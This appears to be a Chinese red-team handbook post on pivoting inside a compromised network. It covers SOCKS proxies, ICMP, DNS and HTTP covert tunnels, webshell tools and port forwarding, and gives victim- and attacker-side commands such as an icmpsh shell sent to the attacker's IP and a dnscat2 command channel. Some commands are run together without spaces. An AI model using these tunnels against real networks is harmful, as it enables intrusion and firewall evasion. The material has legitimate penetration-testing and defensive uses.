红队渗透手册之代理转发与隧道篇

  • A+
所属分类:安全文章

    本篇为红队渗透手册系列的第四篇,刚上车的同学可以先温习一下前三篇:

    红队渗透手册之信息收集篇


    红队渗透手册之弹药篇


    红队渗透手册之钓鱼篇

    在渗透的时候通常我们通过各种漏洞获取到某内网边界机器的权限后,我们需要进行信息收集,尽可能的摸清整个内网的网络拓扑情况,在条件有限的情况时(边界机器权限低,攻击方规则不允许远程登录,边界机器为linux)我们就需要根据不同情况搭建代理,隧道,或者端口转发环境,将我们本机的工具流量带入到内网环境,对内网环境进行漫游探测。

通常会有以下四种情况

红队渗透手册之代理转发与隧道篇
  1. 内网防火墙对出口流量没有任何端口限制。

  2. 内网的防火墙只配置了入站规则。

  3. 内网防火墙出站入站规则都配置了。

  4. 内网防火墙都配置了出入站规则并且具有协议检测和识别能力且仅允许HTTP流量出去外网。

红队渗透手册之代理转发与隧道篇

0x01 socks代理服务端篇



        针对第一种情况,由于防火墙对出口流量没有任何端口限制,我们的可选择的方案非常灵活.常用的方法有

  1. 正向连接,将shell转发到某个端口,或者内网主机的端口或者监听SOCKS5端口开始监听,等待外面的攻击者连接(此时,外网的任何人都可以来连接被攻击者的端口)

  2. 向连接,受害者主机通过指定攻击者正在监听的IP和port,将shell或内网端口等转发到攻击者环境,也可实现socks5反向代理。

其中可以用来做socks5代理的工具有:

1. Frp:

frp是一个高性能的反向代理应用,可以轻松地进行内网穿透,对外网提供服务,支持tcp,http,https等协议类型。下载地址:https://github.com/fatedier/frp/releases推荐文章:https://www.jianshu.com/p/e0581ee84323

2. Earthworm(ew)

一套轻量便携且功能强大的网络穿透工具,基于标准C开发,具有socks5代理、端口转发和端口映射三大功能。下载地址:(暂不提供)推荐文章:http://rootkiter.com/EarthWorm/

3. Ssocks

sSocks是一个socks代理工具套装,可用来开启socks代理服务,支持socks5验证,支持IPV6和UDP,并提供反向socks代理服务,即将远程计算机作为socks代理服务端,反弹回本地,极大方便内网的渗透测试下载地址:(http://sourceforge.net/projects/ssocks/)推荐文章:https://blog.csdn.net/God_XiangYu/article/details/100132929

4. msf做socks代理

推荐文章:https://www.cnblogs.com/dgjnszf/p/12114358.html

 5. CobaltStrike做socks代理

推荐文章:https://www.secshi.com/6575.htms

        针对第二种情况,我们可以反向连接受害者主机,通过指定攻击者正在监听的IP和port,将shell,内网端口等转发到攻击者因为只限制入站流量,出站未做限制,所以做socks代理方法依然适用。

红队渗透手册之代理转发与隧道篇

0x02 隐蔽隧道篇



        针对第三种和第四种情况, socks代理的方法就受限制,因为端口有限,我们可以选择隐蔽隧道技术,把内网服务器的端口通过http/https,ICMP,DNS隧道转发到本机, 形成一个回路。用于目标服务器在内网或做了端口策略的情况下连接目标服务器内部开放端口。它利用webshell建立一个socks代理进行内网穿透常见的隐蔽隧道工具有以下几种。

一、ICMP隧道

ICMP隧道的原理:基于IP协议,将TCP/UDP数据包封装到ICMP的数据包中,绕过防火墙,实现出网。

ICMP隧道的应用场景:上层协议例如HTTP协议、DNS协议和正反向端口转发都失败时,可以尝试ICMP出网。

ICMP的常用工具:icmpsh、icmptunnel、ptunnel

1、icmpsh

工具安装

git clone https://github.com/inquisb/icmpsh.git #下载地址apt-get install python-impacket                  #安装依赖sysctl -w net.ipv4.icmp_echo_ignore_all=1        #关闭本地的ICMP应答

被攻击者执行

icmpsh.exe -t 攻击者IP

攻击者执行

python icmpsh_m.py 攻击者IP 被攻击者IP

2、icmptunnel

工具安装

git clone https://github.com/jamesbarlow/icmptunnel.gitcd icmptunnelmakesysctl -w net.ipv4.icmp_echo_ignore_all=1        #关闭本地的ICMP应答

攻击者执行

 一个终端执行 ./icmptunnel –s 另一个终端执行 /sbin/ifconfig tun0 10.0.0.1 netmask 255.255.255.0

被攻击者执行

一个终端执行sysctl -w net.ipv4.icmp_echo_ignore_all=1   ./icmptunnel 攻击者IP 另一个终端执行 /sbin/ifconfig tun0 10.0.0.2 netmask 255.255.255.0

 3、ptunnel

工具安装

wget https://github.com/esrrhs/pingtunnel/releases(最新的release下载地址)sudo unzip pingtunnel_linux64.zip

攻击者执行

echo 1 >/proc/sys/net/ipv4/icmp_echo_ignore_allsudo ./pingtunnel -type server

被攻击者执行

// client, Forward udppingtunnel -type client -l LOCAL_IP:4455 -s SERVER_IP -t SERVER_IP:4455
// client, Forward tcppingtunnel -type client -l LOCAL_IP:4455 -s SERVER_IP -t SERVER_IP:4455 -tcp 1
// client, Forward sock5, implicitly open tcp, so no target server is neededpingtunnel -type client -l LOCAL_IP:4455 -s SERVER_IP -sock5 1

二、DNS隧道

DNS隧道的原理:基于UDP协议,将TCP/UDP数据包封装到dns的数据包中,绕过防火墙,实现出网。

DNS隧道的应用场景:上层协议例如HTTP协议、正反向端口转发都失败时,可以尝试DNS协议出网。

DNS的常用工具:dnscat2、dns2tcp、iodine

1、dnscat2
工具安装

server端安装:需要ruby环境、安装gem、ruby、dnscat2服务端yum install gemrm /usr/bin/rubywget https://cache.ruby-lang.org/pub/ruby/2.5/ruby-2.5.0.tar.gztar -zxvf ruby-2.5.0.tar.gzcd ruby-2.5.0mkdir -p /usr/local/ruby./configure --prefix=/usr/local/rubymake  && make installln -s /usr/local/ruby/bin/ruby /usr/bin/ruby

git clone https://github.com/iagox86/dnscat2.gitcd /servergem install bunlderln /usr/local/ruby/bin/bunlder /usr/bin/bunlderbunlder install
客户端安装:下载地主:https://downloads.skullsecurity.org/dnscat2/powershell客户端:https://codeload.github.com/lukebaggett/dnscat2-powershell/zip/master

攻击者执行

ruby dnscat2.rb yourdomain.****.top -e open -c password --no-cache

被攻击者执行

./dnscat --secret=password yourdomain.target.com

2、dns2tcp

工具安装

su - #进入root用户apt-get install updateapt-get install dns2tcp #实际上是同时安装了dns2tcp的客户端和服务端
windows客户端:https://pan.baidu.com/s/1w-dpn0US9SmfjqdXuHS4aA提取码: tkgd)

攻击者执行

dns2tcpd -f /etc/dns2tcpd.conf -F -d 2

被攻击者执行

./dns2tcpc.exe -r c2 -z dnsc2.test.com target_ip -l 5353 -d 2

3、iodine

工具安装

sudo apt-get install iodine

攻击者执行

sudo iodined -c -P 123pass ClientIP(客户端IP) domain.com -DDD

被攻击者执行

sudo iodine -f -P 123pass serverIP(服务器IP) domain.com -r

三、HTTP隧道工具篇

HTTP隧道的原理:基于HTTP协议,将TCP/UDP数据包封装到HTTP的数据包中,绕过防火墙,实现出网。

HTTP隧道的应用场景:只允许HTTP协议出网,复用WEB端口。

HTTP隧道的常用工具:Reduh、Tunna、reGeorg、Weevely、ABPTTS

1. Reduh

使用条件:1.获取目标服务器webshell,且可以上传reDuh服务端对应脚本文件。2.知道目标服务器开放的内网端口,如远程桌面的端口是33893.目标服务器网络做了端口策略限制,只允许外部访问内网的80等特定端口。下载链接:https://github.com/sensepost/reDuh               参考链接:https://www.jianshu.com/p/cd3dae49385d

2. Tunna

一款神奇的工具,它可以通过HTTP封装隧道通信任何TCP,以及用于绕过防火墙环境中的网络限制。 注:Tunna代理并不是非常稳定,经常出现掉线情况,尤其是使用Tunna代理远程连接的流量时,经常掉线。但是使用Tunna访问内网web服务还算稳定。下载链接:https://github.com/SECFORCE/Tunna参考链接:https://blog.csdn.net/limb0/article/details/103856835

3. reGeorg

reGeorg是reDuh的升级版下载链接:https://github.com/sensepost/reGeorg参考链接:https://blog.csdn.net/qq_17204441/article/details/88834095

4. Weevely

weevely是一款使用python编写的webshell工具,集webshell生成和连接于一身,采用c/s模式构建,可以算作是linux下的一款php菜刀替代工具,具有很好的隐蔽性(生成随机参数且base64加密),在linux上使用时还是很给力的(集服务器错误配置审计,后门放置,暴力破解,文件管理,资源搜索,网络代理,命令执行,数据库操作,系统信息收集及端口扫描等功能)下载地址:http://epinna.github.com/Weevely/参考链接:https://www.cnblogs.com/lingerhk/p/4009073.html

5. ABPTTS

Abptts是一款基于python2.7的http加密隧道工具,Abptts能做的很多,缺点是不支持PHP通过http加密隧道转发至目标内网下指定的单个TCP端口通过http加密隧道同时转发至目标内网下的多台机器上的多个tcp端口把ssh隧道包裹在http加密隧道中传递,对目标二级内网进行穿透
下载地址:https://github.com/nccgroup/ABPTTS.git参考链接:https://blog.csdn.net/include_heqile/article/details/85008629
红队渗透手册之代理转发与隧道篇

0x03 端口转发篇



        理论上,任何接入互联网的计算机都是可访问的,但如果目标主机在内网中,我们又想和该目标主机进行通信的话,除了做socks代理和http隧道外,我们还可以使用端口转发的方法来与目标主机进行通信。

文章开始提到的四种场景,前三种场景都是有常用的端口转发工具的。

1. Frp

下载地址:https://github.com/fatedier/frp/releases参考链接:http://www.secflag.com/archives/373.html

2. Msf+Portfwd

参考链接:https://blog.csdn.net/DarkHQ/article/details/80411158

3. Lcx

lcx是一款强大的内网端口转发工具,已经被杀毒软件列为木马,用于将内网主机开放的内部端口映射到外网主机(有公网IP)任意端口. 它是一款命令行工具,当然也可以在有权限的webshell下执行,正因如此lcx常被认为是一款黑客入侵工具,lcx在内网入侵渗透中起着重要的角色。lcx进行端口转发的原理就是使不同端口之间形成一个回路。它常用于外网连接内网3389等端口。下载地址:自行搜索引擎参考链接:https://blog.bbskali.cn/356.html

4. Socat

下载地址:http://www.dest-unreach.org/socat/参考链接:https://www.cnblogs.com/iamlehaha/p/6540695.html

5. SSH

#本地端口转发:ssh-CfNg-Lport1:127.0.0.1:[email protected]参数:-L本地网卡地址:本地端口:目标地址:目标端口
#远程端口转发:ssh-CfNg-Rport2:127.0.0.1:[email protected]参数:-R远程网卡地址:远程端口:目标地址:目标端口
#动态端口转发ssh-Dlocalhost:[email protected]参数:-D本地网卡地址:本地端口

6. Netsh

netsh是windows下提供网络管理的命令行工具,它是一个交互式的shell,涉及到上下文的概念。我们在交互式下面进入相应的上下文,进行参数的设置。也可以直接下面这样非交互式的进行端口转发。`netshinterfaceipv6install#转发netshinterfaceportproxyaddv4tov4listenaddress=10.10.18.1listenport=4455connectaddress=10.10.12.1connectport=8080
#删除转发netshinterfaceportproxydeletev4tov4listenaddress={B的IP}listenport={B的端口}
红队渗透手册之代理转发与隧道篇

0x04 socks代理客户端



        在做好socks代理以后,我们需要使用socks客户端挂上代理,才能访问目标环境,在这里说一下个人的配置, 小编工作机为mac,socks代理客户端图形化工具使用proxifier,命令行工具使用proxychains4,另外我比较喜欢单独配置,burpsuite走代理就在burpsuite配置,终端走代理就在终端配置代理,浏览器需要走代理就在浏览器配置代理。

1.proxychains 需要修改mac的配置

修改配置参考链接:https://zhuanlan.zhihu.com/p/21281236使用方法参考链接:https://www.cnblogs.com/wyet/p/7868395.html

2.proxifier 这个工具好用,跨平台使用

参考链接:http://www.hopol.cn/2018/05/1142/

3 burpsuite 挂socks代理

参考链接:https://www.cnblogs.com/hookjoy/p/10759555.html

4 chrome 挂socks代理

插件:SwitchyOmega

5 终端走代理

挂代理命令alias proxy='export all_proxy=socks5://127.0.0.1:1086'取消代理命令alias unproxy='unset all_proxy  

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: